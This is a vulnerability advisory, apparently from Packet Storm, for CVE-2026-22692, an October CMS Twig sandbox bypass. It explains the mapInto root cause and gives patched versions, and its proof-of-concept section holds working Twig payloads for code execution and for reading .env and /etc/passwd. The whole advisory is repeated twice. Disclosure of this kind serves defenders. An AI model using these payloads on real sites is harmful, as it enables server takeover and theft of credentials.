4.9
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Description
Research describing a critical vulnerability that exists in the October CMS Twig sandbox Safe Mode that allows authenticated users with template editing privileges to bypass security restrictions and execute arbitrary PHP code or read arbitrary files...
Basic Information
ID
PACKETSTORM:218881
Published
Apr 14, 2026 at 00:00
Affected Product
Affected Versions
# CVE-2026-22692: Critical Twig Sandbox Bypass via collect()->mapInto() allowing RCE/LFI/XXE (October CMS)
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-22692](https://nvd.nist.gov/vuln/detail/CVE-2026-22692) |
| **Severity** | Moderate (CVSS:3.1 4.9) |
| **Advisory** | [GHSA-m5qg-jc75-4jp6](https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6) |
| **Affected Product** | October CMS (<= 4.1.4, <= 3.7.12) |
| **Vulnerability Type** | Twig Sandbox Bypass -> RCE, LFI, XXE |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## CWE Classification
- CWE-693: Protection Mechanism Failure
- CWE-611: Improper Restriction of XML External Entity Reference
- CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
## Summary
A critical vulnerability exists in the October CMS Twig sandbox (Safe Mode) that allows authenticated users with template editing privileges to bypass security restrictions and execute arbitrary PHP code (RCE) or read arbitrary files (XXE/LFI) from the server.
## Details
### Root Cause
The root cause is located in `October\Rain\Support\SafeCollection`. This class implements the `CallsAnyMethod` interface, which tells the `System\Twig\SecurityPolicy` to bypass standard method allow-listing for the collection object itself.
While `SafeCollection` attempts to filter arguments to prevent direct execution of callables, it does not block the `mapInto($class)` method. The `mapInto` method iterates over the collection and instantiates the provided class name:
```php
new $class($value, $key);
```
This allows an attacker to instantiate **any class** known to the application.
### Vulnerability 1: RCE (Function Execution)
The `System\Twig\SecurityPolicy` explicitly allow-lists the `__toString()` method on all objects. By instantiating `Psy\Readline\Hoa\Xcallable` (which wraps a callable) and wrapping it inside a `GuzzleHttp\Psr7\FnStream` (which calls a user-defined function in its `__toString` method via the `_fn___toString` property), an attacker can trigger the execution of arbitrary PHP functions that require no arguments (e.g., `php_uname`, `phpinfo`) simply by printing the object in Twig.
### Vulnerability 2: XXE (Arbitrary File Read)
The `SimpleXMLElement` class accepts a libxml option flag as its second constructor argument. `mapInto()` passes the collection key as the second argument to the constructor. By creating a collection with a key of `2` (which corresponds to `LIBXML_NOENT`), an attacker can enable external entity substitution in `SimpleXMLElement`, leading to immediate XXE and the ability to read system files.
### Vulnerability 3: LFI (Arbitrary File Read via SplFileObject)
A more direct Local File Inclusion (LFI) vulnerability exists using the native PHP `SplFileObject` class. By instantiating `SplFileObject` with a file path and read mode (passed via `mapInto`), an attacker obtains a traversable file object. Passing this object to the `collect()` helper triggers immediate iteration (via `iterator_to_array` inside the framework's core), which bypasses the Sandbox's method blocking policy. This allows reading any file the web server has access to, without requiring XML support or specific vendor libraries.
## PoC (Proof of Concept)
### Prerequisites
- Authenticated access to the October CMS Backend (or any feature allowing Twig template editing)
- `CMS_SAFE_MODE=true`
### Payload 1: RCE (Execute `php_uname`)
```twig
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
```
### Payload 2: XXE (Read `.env` file)
```twig
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
```
### Payload 3: LFI (Read `/etc/passwd` via `SplFileObject`)
```twig
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
```
## Impact
**Remote Code Execution (RCE), Local File Inclusion (LFI), XML External Entity Injection (XXE).**
- **RCE:** Allows execution of PHP code (limited to 0-argument functions with the FnStream gadget, but potentially expandable with other gadgets).
- **LFI / XXE:** Allows reading of any file on the server file system that the web user has access to (including `/etc/passwd`, database configuration, `.env`, etc.) via multiple vectors (`SimpleXMLElement` or `SplFileObject`).
This affects any October CMS installation where untrusted or semi-trusted users have access to the CMS template editor, effectively allowing them to escalate privileges to System Administrator / Root level logic.
## Affected Products
- **Package:** octobercms/october (Packagist)
- **Affected versions:** <= 4.1.4, <= 3.7.12
- **Patched in:** 4.1.5, 3.7.13
## References
- https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
- https://nvd.nist.gov/vuln/detail/CVE-2026-22692
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-22692](https://nvd.nist.gov/vuln/detail/CVE-2026-22692) |
| **Severity** | Moderate (CVSS:3.1 4.9) |
| **Advisory** | [GHSA-m5qg-jc75-4jp6](https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6) |
| **Affected Product** | October CMS (<= 4.1.4, <= 3.7.12) |
| **Vulnerability Type** | Twig Sandbox Bypass -> RCE, LFI, XXE |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## CWE Classification
- CWE-693: Protection Mechanism Failure
- CWE-611: Improper Restriction of XML External Entity Reference
- CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
## Summary
A critical vulnerability exists in the October CMS Twig sandbox (Safe Mode) that allows authenticated users with template editing privileges to bypass security restrictions and execute arbitrary PHP code (RCE) or read arbitrary files (XXE/LFI) from the server.
## Details
### Root Cause
The root cause is located in `October\Rain\Support\SafeCollection`. This class implements the `CallsAnyMethod` interface, which tells the `System\Twig\SecurityPolicy` to bypass standard method allow-listing for the collection object itself.
While `SafeCollection` attempts to filter arguments to prevent direct execution of callables, it does not block the `mapInto($class)` method. The `mapInto` method iterates over the collection and instantiates the provided class name:
```php
new $class($value, $key);
```
This allows an attacker to instantiate **any class** known to the application.
### Vulnerability 1: RCE (Function Execution)
The `System\Twig\SecurityPolicy` explicitly allow-lists the `__toString()` method on all objects. By instantiating `Psy\Readline\Hoa\Xcallable` (which wraps a callable) and wrapping it inside a `GuzzleHttp\Psr7\FnStream` (which calls a user-defined function in its `__toString` method via the `_fn___toString` property), an attacker can trigger the execution of arbitrary PHP functions that require no arguments (e.g., `php_uname`, `phpinfo`) simply by printing the object in Twig.
### Vulnerability 2: XXE (Arbitrary File Read)
The `SimpleXMLElement` class accepts a libxml option flag as its second constructor argument. `mapInto()` passes the collection key as the second argument to the constructor. By creating a collection with a key of `2` (which corresponds to `LIBXML_NOENT`), an attacker can enable external entity substitution in `SimpleXMLElement`, leading to immediate XXE and the ability to read system files.
### Vulnerability 3: LFI (Arbitrary File Read via SplFileObject)
A more direct Local File Inclusion (LFI) vulnerability exists using the native PHP `SplFileObject` class. By instantiating `SplFileObject` with a file path and read mode (passed via `mapInto`), an attacker obtains a traversable file object. Passing this object to the `collect()` helper triggers immediate iteration (via `iterator_to_array` inside the framework's core), which bypasses the Sandbox's method blocking policy. This allows reading any file the web server has access to, without requiring XML support or specific vendor libraries.
## PoC (Proof of Concept)
### Prerequisites
- Authenticated access to the October CMS Backend (or any feature allowing Twig template editing)
- `CMS_SAFE_MODE=true`
### Payload 1: RCE (Execute `php_uname`)
```twig
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
```
### Payload 2: XXE (Read `.env` file)
```twig
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
```
### Payload 3: LFI (Read `/etc/passwd` via `SplFileObject`)
```twig
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
```
## Impact
**Remote Code Execution (RCE), Local File Inclusion (LFI), XML External Entity Injection (XXE).**
- **RCE:** Allows execution of PHP code (limited to 0-argument functions with the FnStream gadget, but potentially expandable with other gadgets).
- **LFI / XXE:** Allows reading of any file on the server file system that the web user has access to (including `/etc/passwd`, database configuration, `.env`, etc.) via multiple vectors (`SimpleXMLElement` or `SplFileObject`).
This affects any October CMS installation where untrusted or semi-trusted users have access to the CMS template editor, effectively allowing them to escalate privileges to System Administrator / Root level logic.
## Affected Products
- **Package:** octobercms/october (Packagist)
- **Affected versions:** <= 4.1.4, <= 3.7.12
- **Patched in:** 4.1.5, 3.7.13
## References
- https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
- https://nvd.nist.gov/vuln/detail/CVE-2026-22692
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.